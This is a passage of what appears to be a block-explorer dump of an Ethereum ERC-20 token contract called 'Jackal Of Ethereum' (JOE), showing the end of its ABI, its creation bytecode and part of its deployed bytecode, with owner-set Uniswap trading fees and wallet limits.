ame":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052601260a0908152714a61636b616c204f6620457468657265756d60701b60c052600290620000339082620005c6565b50604080518082019091526003808252624a4f4560e81b6020830152906200005c9082620005c6565b50600480546001600160a81b031916742b99b0a87aa6cc1c5085764b9d70910574f83bc80917905561dead6080526000600b819055601e600c819055600d829055600e829055600f81905560108290556011829055600a60128190556013929092556014819055601555601655670de0b6b3a764000060178190556018819055606490620000ec90600262000692565b620000f89190620006be565b6019556127106017546200010d9190620006be565b601a55601c805462ffffff60a81b1916600160b81b1790553480156200013257600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001cc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f29190620006e1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000240573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002669190620006e1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002b4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002da9190620006e1565b601c80546001600160a01b039283166001600160a01b031991821617909155601b8054928416929091168217905560175430600090815260066020908152604080832094835293905291822055600190600790620003406000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600454610100900490911681526007909252812080549092166001908117909255600890620003a56000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556004546101009004821681526008909352818320805485166001908117909155601c5490911683528183208054851682179055308352908220805490931681179092556009906200042c6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600454610100900482168152600984528281208054861660019081179091553082528382208054871682179055601c549092168152600a90935290822080549093161790915560175490600590620004af3390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6017546040516200051291815260200190565b60405180910390a35062000713565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200054c57607f821691505b6020821081036200056d57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005c157600081815260208120601f850160051c810160208610156200059c5750805b601f850160051c820191505b81811015620005bd57828155600101620005a8565b5050505b505050565b81516001600160401b03811115620005e257620005e262000521565b620005fa81620005f3845462000537565b8462000573565b602080601f831160018114620006325760008415620006195750858301515b600019600386901b1c1916600185901b178555620005bd565b600085815260208120601f198616915b82811015620006635788860151825594840194600190910190840162000642565b5085821015620006825787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b8082028115828204841417620006b857634e487b7160e01b600052601160045260246000fd5b92915050565b600082620006dc57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620006f457600080fd5b81516001600160a01b03811681146200070c57600080fd5b9392505050565b60805161218462000736600039600081816104ab0152610c8a01526121846000f3fe6080604052600436106103395760003560e01c80637d1db4a5116101ab578063c2d4640e116100f7578063e207a92b11610095578063f2fde38b1161006f578063f2fde38b1461098e578063f4293890146109ae578063f872858a146109c3578063fabf7063146109e457600080fd5b8063e207a92b14610938578063f0cd1dac14610958578063f1d5f5171461096e57600080fd5b8063c816841b116100d1578063c816841b1461089b578063d76e26a3146108bb578063da00097d146108d1578063dd62ed3e146108f257600080fd5b8063c2d4640e1461082b578063c49b9a801461084b578063c78a789b1461086b57600080fd5b806395d89b4111610164578063a457c2d71161013e578063a457c2d7146107b5578063a5d69d1f146107d5578063a9059cbb146107f5578063b6c3af341461081557600080fd5b806395d89b41146107745780639e3fa32314610789578063a08e671f1461079f57600080fd5b80637d1db4a5146106df578063807c2d9c146106f557806382eefb431461070b5780638da5cb5b146107215780638f03aad51461073f578063914eb66a1461075f57600080fd5b80632f0a5fd411610285578063565cec3811610223578063661b6e36116101fd578063661b6e361461065d578063667b511c14610673578063705f9d741461069357806370a08231146106a957600080fd5b8063565cec381461061157806357e6adcb14610627578063646d47001461064757600080fd5b80633b97084a1161025f5780633b97084a146105705780634a74bb0214610590578063526012e8146105b157806355324fa9146105e157600080fd5b80632f0a5fd414610518578063313ce5671461052e578063395093511461055057600080fd5b806323b872dd116102f257806327c8f835116102cc57806327c8f835146104995780632b112e49146104cd5780632cdae5cb146104e25780632df671091461050257600080fd5b806323b872dd1461043957806325519cf2146104595780632563ae831461047957600080fd5b806304b8d3291461034557806306fdde0314610367578063095ea7b3146103925780631694505e146103c257806318160ddd146103fa5780631d865c301461041957600080fd5b3661034057005b600080fd5b34801561035157600080fd5b50610365610360366004611d8e565b610a14565b005b34801561037357600080fd5b5061037c610a6f565b6040516103899190611dab565b60405180910390f35b34801561039e57600080fd5b506103b26103ad366004611df9565b610b01565b6040519015158152602001610389565b3480156103ce57600080fd5b50601b546103e2906001600160a01b031681565b6040516001600160a01b039091168152602001610389565b34801561040657600080fd5b506017545b604051908152602001610389565b34801561042557600080fd5b50610365610434366004611e25565b610b18565b34801561044557600080fd5b506103b2610454366004611e51565b610b7c565b34801561046557600080fd5b50610365610474366004611e25565b610be7565b34801561048557600080fd5b50610365610494366004611ea7565b610c40565b3480156104a557600080fd5b506103e27f000000000000000000000000000000000000000000000000000000000000000081565b3480156104d957600080fd5b5061040b610c88565b3480156104ee57600080fd5b506103656104fd366004611ec2565b610cd2565b34801561050e57600080fd5b5061040b600c5481565b34801561052457600080fd5b5061040b600e5481565b34801561053a57600080fd5b5060045460405160ff9091168152602001610389565b34801561055c57600080fd5b506103b261056b366004611df9565b610d27565b34801561057c57600080fd5b5061036561058b366004611ef7565b610d5d565b34801561059c57600080fd5b50601c546103b290600160a81b900460ff1681565b3480156105bd57600080fd5b506103b26105cc366004611d8e565b60086020526000908152604090205460ff1681565b3480156105ed57600080fd5b506103b26105fc366004611d8e565b600a6020526000908152604090205460ff1681565b34801561061d57600080fd5b5061040b60125481565b34801561063357600080fd5b50610365610642366004611ec2565b610d8c565b34801561065357600080fd5b5061040b60105481565b34801561066957600080fd5b5061040b600f5481565b34801561067f57600080fd5b5061036561068e366004611ec2565b610de1565b34801561069f57600080fd5b5061040b600d5481565b3480156106b557600080fd5b5061040b6106c4366004611d8e565b6001600160a01b031660009081526005602052604090205490565b3480156106eb57600080fd5b5061040b60185481565b34801561070157600080fd5b5061040b60195481565b34801561071757600080fd5b5061040b60155481565b34801561072d57600080fd5b506000546001600160a01b03166103e2565b34801561074b57600080fd5b5061036561075a366004611ef7565b610e36565b34801561076b57600080fd5b50610365610ed4565b34801561078057600080fd5b5061037c610f48565b34801561079557600080fd5b5061040b60115481565b3480156107ab57600080fd5b5061040b60165481565b3480156107c157600080fd5b506103b26107d0366004611df9565b610f57565b3480156107e157600080fd5b506103656107f0366004611ea7565b610fa6565b34801561080157600080fd5b506103b2610810366004611df9565b610fee565b34801561082157600080fd5b5061040b600b5481565b34801561083757600080fd5b50610365610846366004611e25565b610ffb565b34801561085757600080fd5b50610365610866366004611ea7565b61104a565b34801561087757600080fd5b506103b2610886366004611d8e565b60096020526000908152604090205460ff1681565b3480156108a757600080fd5b50601c546103e2906001600160a01b031681565b3480156108c757600080fd5b5061040b60135481565b3480156108dd57600080fd5b50601c546103b290600160b01b900460ff1681565b3480156108fe57600080fd5b5061040b61090d366004611f10565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561094457600080fd5b50610365610953366004611d8e565b6110cc565b34801561096457600080fd5b5061040b60145481565b34801561097a57600080fd5b50610365610989366004611ef7565b61111a565b34801561099a57600080fd5b506103656109a9366004611d8e565b611149565b3480156109ba57600080fd5b50610365611233565b3480156109cf57600080fd5b50601c546103b290600160b81b900460ff1681565b3480156109f057600080fd5b506103b26109ff366004611d8e565b60076020526000908152604090205460ff1681565b6000546001600160a01b03163314610a475760405162461bcd60e51b8152600401610a3e90611f49565b60405180910390fd5b600480546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b606060028054610a7e90611f7e565b80601f0160208091040260200160405190810160405280929190818152602001828054610aaa90611f7e565b8015610af75780601f10610acc57610100808354040283529160200191610af7565b820191906000526020600020905b815481529060010190602001808311610ada57829003601f168201915b5050505050905090565b6000610b0e338484611250565b5060015b92915050565b6000546001600160a01b03163314610b425760405162461bcd60e51b8152600401610a3e90611f49565b600e839055600f8290556010819055610b6581610b5f8585611374565b90611374565b601581905560141015610b7757600080fd5b505050565b6000610b898484846113d3565b50610bdc8433610bd785604051806060016040528060288152602001612102602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190611833565b611250565b5060015b9392505050565b6000546001600160a01b03163314610c115760405162461bcd60e51b8152600401610a3e90611f49565b600b839055600c829055600d819055610c2e81610b5f8585611374565b6014819055600a1015610b7757600080fd5b6000546001600160a01b03163314610c6a5760405162461bcd60e51b8152600401610a3e90611f49565b601c8054911515600160b81b0260ff60b81b19909216919091179055565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316600090815260056020526040812054601754610ccd9161186d565b905090565b6000546001600160a01b03163314610cfc5760405162461bcd60e51b8152600401610a3e90611f49565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b3360008181526006602090815260408083206001600160a01b03871684529091528120549091610b0e918590610bd79086611374565b6000546001600160a01b03163314610d875760405162461bcd60e51b8152600401610a3e90611f49565b601a55565b6000546001600160a01b03163314610db65760405162461bcd60e51b8152600401610a3e90611f49565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610e0b5760405162461bcd60e51b8152600401610a3e90611f49565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610e605760405162461bcd60e51b8152600401610a3e90611f49565b6064601754610e6f9190611fce565b811015610ecf5760405162461bcd60e51b815260206004820152602860248201527f4d61782077616c6c65742073686f756c64206265206d6f7265206f7220657175604482015267616c20746f20312560c01b6064820152608401610a3e565b601855565b6000546001600160a01b03163314610efe5760405162461bcd60e51b8152600401610a3e90611f49565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b606060038054610a7e90611f7e565b6000610b0e3384610bd78560405180606001604052806025815260200161212a602591393360009081526006602090815260408083206001600160a01b038d1684529091529020549190611833565b6000546001600160a01b03163314610fd05760405162461bcd60e51b8152600401610a3e90611f49565b601c8054911515600160b01b0260ff60b01b19909216919091179055565b6000610bdc3384846113d3565b6000546001600160a01b031633146110255760405162461bcd60e51b8152600401610a3e90611f49565b60118390556012829055601381905561104281610b5f8585611374565b601655505050565b6000546001600160a01b031633146110745760405162461bcd60e51b8152600401610a3e90611f49565b601c8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159906110c190831515815260200190565b60405180910390a150565b6000546001600160a01b031633146110f65760405162461bcd60e51b8152600401610a3e90611f49565b6001600160a01b03166000908152600a60205260409020805460ff19166001179055565b6000546001600160a01b031633146111445760405162461bcd60e51b8152600401610a3e90611f49565b601955565b6000546001600160a01b031633146111735760405162461bcd60e51b8152600401610a3e90611f49565b6001600160a01b0381166111d85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a3e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60045461124e9061010090046001600160a01b0316476118af565b565b6001600160a01b0383166112b25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a3e565b6001600160a01b0382166113135760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a3e565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000806113818385611ff0565b905083811015610be05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a3e565b60006001600160a01b0384166114395760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a3e565b6001600160a01b03831661149b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a3e565b601c54600160a01b900460ff16156114bf576114b88484846118e5565b9050610be0565b6001600160a01b03841660009081526009602052604090205460ff1615801561150157506001600160a01b03831660009081526009602052604090205460ff16155b15611569576018548211156115695760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a3e565b30600090815260056020526040902054601a54811080159081906115975750601c54600160a01b900460ff16155b80156115bc57506001600160a01b03861660009081526007602052604090205460ff16155b80156115e057506001600160a01b0385166000908152600a602052604090205460ff165b80156115f55750601c54600160a81b900460ff165b80156116025750601a5484115b1561162857601c54600160b01b900460ff161561161f57601a5491505b611628826119cb565b600080611636888888611a15565b915091506000868214611649573061164b565b885b905081156116d3576001600160a01b0381166000908152600560205260409020546116769083611374565b6001600160a01b0380831660008181526005602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116ca9086815260200190565b60405180910390a35b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038c16600090815260059091529190912054611725918990611833565b6001600160a01b038a16600090815260056020526040902055601c54600160b81b900460ff16801561177057506001600160a01b03881660009081526008602052604090205460ff16155b156117a65760195461179b84610b5f8b6001600160a01b031660009081526005602052604090205490565b11156117a657600080fd5b6001600160a01b0388166000908152600560205260409020546117c99084611374565b6001600160a01b03808a1660008181526005602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061181d9087815260200190565b60405180910390a3600195505050505050610be0565b600081848411156118575760405162461bcd60e51b8152600401610a3e9190611dab565b5060006118648486612003565b95945050505050565b6000610be083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611833565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610b77573d6000803e3d6000fd5b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600590915291822054611936918490611833565b6001600160a01b0380861660009081526005602052604080822093909355908516815220546119659083611374565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119b99086815260200190565b60405180910390a35060019392505050565b601c805460ff60a01b1916600160a01b1790556119e781611af6565b6004544790611a049061010090046001600160a01b0316826118af565b5050601c805460ff60a01b19169055565b6001600160a01b0383166000908152600760205260408120548190839060ff168015611a4a5750601c54600160a81b900460ff165b15611a59578392509050611aee565b6001600160a01b0386166000908152600a602052604090205460ff1615611aa157611a9a6064611a9460145487611c8990919063ffffffff16565b90611d0b565b9050611adf565b6001600160a01b0385166000908152600a602052604090205460ff1615611adf57611adc6064611a9460155487611c8990919063ffffffff16565b90505b611ae9848261186d565b925090505b935093915050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611b2b57611b2b612016565b6001600160a01b03928316602091820292909201810191909152601b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611b84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ba8919061202c565b81600181518110611bbb57611bbb612016565b6001600160a01b039283166020918202929092010152601b54611be19130911684611250565b601b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c1a90859060009086903090429060040161208d565b600060405180830381600087803b158015611c3457600080fd5b505af1158015611c48573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611c7d9291906120c9565b60405180910390a15050565b600082600003611c9b57506000610b12565b6000611ca783856120ea565b905082611cb48583611fce565b14610be05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a3e565b6000610be083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183611d695760405162461bcd60e51b8152600401610a3e9190611dab565b5060006118648486611fce565b6001600160a01b0381168114611d8b57600080fd5b50565b600060208284031215611da057600080fd5b8135610be081611d76565b600060208083528351808285015260005b81811015611dd857858101830151858201604001528201611dbc565b506000604082860101526040601f19601f8301168501019250505092915050565b60008060408385031215611e0c57600080fd5b8235611e1781611d76565b946020939093013593505050565b600080600060608486031215611e3a57600080fd5b505081359360208301359350604090920135919050565b600080600060608486031215611e6657600080fd5b8335611e7181611d76565b92506020840135611e8181611d76565b929592945050506040919091013590565b80358015158114611ea257600080fd5b919050565b600060208284031215611eb957600080fd5b610be082611e92565b60008060408385031215611ed557600080fd5b8235611ee081611d76565b9150611eee60208401611e92565b90509250929050565b600060208284031215611f0957600080fd5b5035919050565b60008060408385031215611f2357600080fd5b8235611f2e81611d76565b91506020830135611f3e81611d76565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680611f9257607f821691505b602082108103611fb257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082611feb57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610b1257610b12611fb8565b81810381811115610b1257610b12611fb8565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561203e57600080fd5b8151610be081611d76565b600081518084526020808501945080840160005b838110156120825781516001600160a01b03168752958201959082019060010161205d565b509495945050505050565b85815284602082015260a0604082015260006120ac60a0830186612049565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006120e26040830184612049565b949350505050565b8082028115828204841417610b1257610b12611fb856fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202dd03b5e5ea0cda9a2a8b9a3e201ed966793c091dd08e1893452bf03a2400d3d64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106103395760003560e01c80637d1db4a5116101ab578063c2d4640e116100f7578063e207a92b11610095578063f2fde38b1161006f578063f2fde38b1461098e578063f4293890146109ae578063f872858a146109c3578063fabf7063146109e457600080fd5b8063e207a92b14610938578063f0cd1dac14610958578063f1d5f5171461096e57600080fd5b8063c816841b116100d1578063c816841b1461089b578063d76e26a3146108bb578063da00097d146108d1578063dd62ed3e146108f257600080fd5b8063c2d4640e1461082b578063c49b9a801461084b578063c78a789b1461086b57600080fd5b806395d89b4111610164578063a457c2d71161013e578063a457c2d7146107b5578063a5d69d1f146107d5578063a9059cbb146107f5578063b6c3af341461081557600080fd5b806395d89b41146107745780639e3fa32314610789578063a08e671f1461079f57600080fd5b80637d1db4a5146106df578063807c2d9c146106f557806382eefb431461070b5780638da5cb5b146107215780638f03aad51461073f578063914eb66a1461075f57600080fd5b80632f0a5fd411610285578063565cec3811610223578063661b6e36116101fd578063661b6e361461065d578063667b511c14610673578063705f9d741461069357806370a08231146106a957600080fd5b8063565cec381461061157806357e6adcb14610627578063646d47001461064757600080fd5b80633b97084a1161025f5780633b97084a146105705780634a74bb0214610590578063526012e8146105b157806355324fa9146105e157600080fd5b80632f0a5fd414610518578063313ce5671461052e578063395093511461055057600080fd5b806323b872dd116102f257806327c8f835116102cc57806327c8f835146104995780632b112e49146104cd5780632cdae5cb146104e25780632df671091461050257600080fd5b806323b872dd1461043957806325519cf2146104595780632563ae831461047957600080fd5b806304b8d3291461034557806306fdde0314610367578063095ea7b3146103925780631694505e146103c257806318160ddd146103fa5780631d865c301461041957600080fd5b3661034057005b600080fd5b34801561035157600080fd5b50610365610360366004611d8e565b610a14565b005b34801561037357600080fd5b5061037c610a6f565b6040516103899190611dab565b60405180910390f35b34801561039e57600080fd5b506103b26103ad366004611df9565b610b01565b6040519015158152602001610389565b3480156103ce57600080fd5b50601b546103e2906001600160a01b031681565b6040516001600160a01b039091168152602001610389565b34801561040657600080fd5b506017545b604051908152602001610389565b34801561042557600080fd5b50610365610434366004611e25565b610b18565b34801561044557600080fd5b506103b2610454366004611e51565b610b7c565b34801561046557600080fd5b50610365610474366004611e25565b610be7565b34801561048557600080fd5b50610365610494366004611ea7565b610c40565b3480156104a557600080fd5b506103e27f000000000000000000000000000000000000000000000000000000000000dead81565b3480156104d957600080fd5b5061040b610c88565b3480156104ee57600080fd5b506103656104fd366004611ec2565b610cd2565b34801561050e57600080fd5b5061040b600c5481565b34801561052457600080fd5b5061040b600e5481565b34801561053a57600080fd5b5060045460405160ff9091168152602001610389565b34801561055c57600080fd5b506103b261056b366004611df9565b610d27565b34801561057c57600080fd5b5061036561058b366004611ef7565b610d5d565b34801561059c57600080fd5b50601c546103b290600160a81b900460ff1681565b3480156105bd57600080fd5b506103b26105cc366004611d8e565b60086020526000908152604090205460ff1681565b3480156105ed57600080fd5b506103b26105fc366004611d8e565b600a6020526000908152604090205460ff1681565b34801561061d57600080fd5b5061040b60125481565b34801561063357600080fd5b50610365610642366004611ec2565b610d8c565b34801561065357600080fd5b5061040b60105481565b34801561066957600080fd5b5061040b600f5481565b34801561067f57600080fd5b5061036561068e366004611ec2565b610de1565b34801561069f57600080fd5b5061040b600d5481565b3480156106b557600080fd5b5061040b6106c4366004611d8e565b6001600160a01b031660009081526005602052604090205490565b3480156106eb57600080fd5b5061040b60185481565b34801561070157600080fd5b5061040b60195481565b34801561071757600080fd5b5061040b60155481565b34801561072d57600080fd5b506000546001600160a01b03166103e2565b34801561074b57600080fd5b5061036561075a366004611ef7565b610e36565b34801561076b57600080fd5b50610365610ed4565b34801561078057600080fd5b5061037c610f48565b34801561079557600080fd5b5061040b60115481565b3480156107ab57600080fd5b5061040b60165481565b3480156107c157600080fd5b506103b26107d0366004611df9565b610f57565b3480156107e157600080fd5b506103656107f0366004611ea7565b610fa6565b34801561080157600080fd5b506103b2610810366004611df9565b610fee565b34801561082157600080fd5b5061040b600b5481565b34801561083757600080fd5b50610365610846366004611e25565b610ffb565b34801561085757600080fd5b50610365610866366004611ea7565b61104a565b34801561087757600080fd5b506103b2610886366004611d8e565b60096020526000908152604090205460ff1681565b3480156108a757600080fd5b50601c546103e2906001600160a01b031681565b3480156108c757600080fd5b5061040b60135481565b3480156108dd57600080fd5b50601c546103b290600160b01b900460ff1681565b3480156108fe57600080fd5b5061040b61090d366004611f10565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561094457600080fd5b50610365610953366004611d8e565b6110cc565b34801561096457600080fd5b5061040b60145481565b34801561097a57600080fd5b50610365610989366004611ef7565b61111a565b34801561099a57600080fd5b506103656109a9366004611d8e565b611149565b3480156109ba57600080fd5b50610365611233565b3480156109cf57600080fd5b50601c546103b290600160b81b900460ff1681565b3480156109f057600080fd5b506103b26109ff366004611d8e565b60076020526000908152604090205460ff1681565b6000546001600160a01b03163314610a475760405162461bcd60e51b8152600401610a3e90611f49565b60405180910390fd5b600480546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b606060028054610a7e90611f7e565b80601f0160208091040260200160405190810160405280929190818152602001828054610aaa90611f7e565b8015610af75780601f10610acc57610100808354040283529160200191610af7565b820191906000526020600020905b815481529060010190602001808311610ada57829003601f168201915b5050505050905090565b6000610b0e338484611250565b5060015b92915050565b6000546001600160a01b03163314610b425760405162461bcd60e51b8152600401610a3e90611f49565b600e839055600f8290556010819055610b6581610b5f8585611374565b90611374565b601581905560141015610b7757600080fd5b505050565b6000610b898484846113d3565b50610bdc8433610bd785604051806060016040528060288152602001612102602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190611833565b611250565b5060015b9392505050565b6000546001600160a01b03163314610c115760405162461bcd60e51b8152600401610a3e90611f49565b600b839055600c829055600d819055610c2e81610b5f8585611374565b6014819055600a1015610b7757600080fd5b6000546001600160a01b03163314610c6a5760405162461bcd60e51b8152600401610a3e90611f49565b601c8054911515600160b81b0260ff60b81b19909216919091179055565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316600090815260056020526040812054601754610ccd9161186d565b905090565b6000546001600160a01b03163314610cfc5760405162461bcd60e51b8152600401610a3e90611f49565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b3360008181526006602090815260408083206001600160a01b03871684529091528120549091610b0e918590610bd79086611374565b6000546001600160a01b03163314610d875760405162461bcd60e51b8152600401610a3e90611f49565b601a55565b6000546001600160a01b03163314610db65760405162461bcd60e51b8152600401610a3e90611f49565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610e0b5760405162461bcd60e51b8152600401610a3e90611f49565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610e605760405162461bcd60e51b8152600401610a3e90611f49565b6064601754610e6f9190611fce565b811015610ecf5760405162461bcd60e51b815260206004820152602860248201527f4d61782077616c6c65742073686f756c64206265206d6f7265206f7220657175604482015267616c20746f20312560c01b6064820152608401610a3e565b601855565b6000546001600160a01b03163314610efe5760405162461bcd60e51b8152600401610a3e90611f49565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b606060038054610a7e90611f7e565b6000610b0e3384610bd78560405180606001604052806025815260200161212a602591393360009081526006602090815260408083206001600160a01b038d1684529091529020549190611833565b6000546001600160a01b03163314610fd05760405162461bcd60e51b8152600401610a3e90611f49565b601c8054911515600160b01b0260ff60b01b19909216919091179055565b6000610bdc3384846113d3565b6000546001600160a01b031633146110255760405162461bcd60e51b8152600401610a3e90611f49565b60118390556012829055601381905561104281610b5f8585611374565b601655505050565b6000546001600160a01b031633146110745760405162461bcd60e51b8152600401610a3e90611f49565b601c8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159906110c190831515815260200190565b60405180910390a150565b6000546001600160a01b031633146110f65760405162461bcd60e51b8152600401610a3e90611f49565b6001600160a01b03166000908152600a60205260409020805460ff19166001179055565b6000546001600160a01b031633146111445760405162461bcd60e51b8152600401610a3e90611f49565b601955565b6000546001600160a01b031633146111735760405162461bcd60e51b8152600401610a3e90611f49565b6001600160a01b0381166111d85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a3e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60045461124e9061010090046001600160a01b0316476118af565b565b6001600160a01b0383166112b25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a3e565b6001600160a01b0382166113135760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a3e565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000806113818385611ff0565b905083811015610be05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a3e565b60006001600160a01b0384166114395760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a3e565b6001600160a01b03831661149b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a3e565b601c54600160a01b900460ff16156114bf576114b88484846118e5565b9050610be0565b6001600160a01b03841660009081526009602052604090205460ff1615801561150157506001600160a01b03831660009081526009602052604090205460ff16155b15611569576018548211156115695760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a3e565b30600090815260056020526040902054601a54811080159081906115975750601c54600160a01b900460ff16155b80156115bc57506001600160a01b03861660009081526007602052604090205460ff16155b80156115e057506001600160a01b0385166000908152600a602052604090205460ff165b80156115f55750601c54600160a81b900460ff165b80156116025750601a5484115b1561162857601c54600160b01b900460ff161561161f57601a5491505b611628826119cb56